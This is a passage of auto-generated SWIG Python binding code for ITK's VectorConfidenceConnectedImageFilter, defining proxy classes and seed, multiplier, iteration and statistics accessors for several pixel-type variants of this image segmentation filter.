itkVectorConfidenceConnectedImageFilterIVF32ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_swigregister
itkVectorConfidenceConnectedImageFilterIVF32ISS2_swigregister(itkVectorConfidenceConnectedImageFilterIVF32ISS2)
def itkVectorConfidenceConnectedImageFilterIVF32ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF32ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF32ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF32ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF32ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF32ISS2 *":
"""itkVectorConfidenceConnectedImageFilterIVF32ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF32ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF32IUC2(itkImageToImageFilterBPython.itkImageToImageFilterIVF32IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF32IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF32IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF32IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF32IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> itkVectorConfidenceConnectedImageFilterIVF32IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF32IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF32IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF32IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF32IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF32IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF32IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF32IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF32IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF32IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF32IUC2)
itkVectorConfidenceConnectedImageFilterIVF32IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_swigregister
itkVectorConfidenceConnectedImageFilterIVF32IUC2_swigregister(itkVectorConfidenceConnectedImageFilterIVF32IUC2)
def itkVectorConfidenceConnectedImageFilterIVF32IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF32IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF32IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF32IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF32IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF32IUC2 *":
"""itkVectorConfidenceConnectedImageFilterIVF32IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF32IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF32IUS2(itkImageToImageFilterBPython.itkImageToImageFilterIVF32IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF32IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF32IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF32IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF32IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> itkVectorConfidenceConnectedImageFilterIVF32IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF32IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF32IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF32IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF32IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF32IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF32IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF32IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF32IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF32IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF32IUS2)
itkVectorConfidenceConnectedImageFilterIVF32IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_swigregister
itkVectorConfidenceConnectedImageFilterIVF32IUS2_swigregister(itkVectorConfidenceConnectedImageFilterIVF32IUS2)
def itkVectorConfidenceConnectedImageFilterIVF32IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF32IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF32IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF32IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF32IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF32IUS2 *":
"""itkVectorConfidenceConnectedImageFilterIVF32IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF32IUS2"""
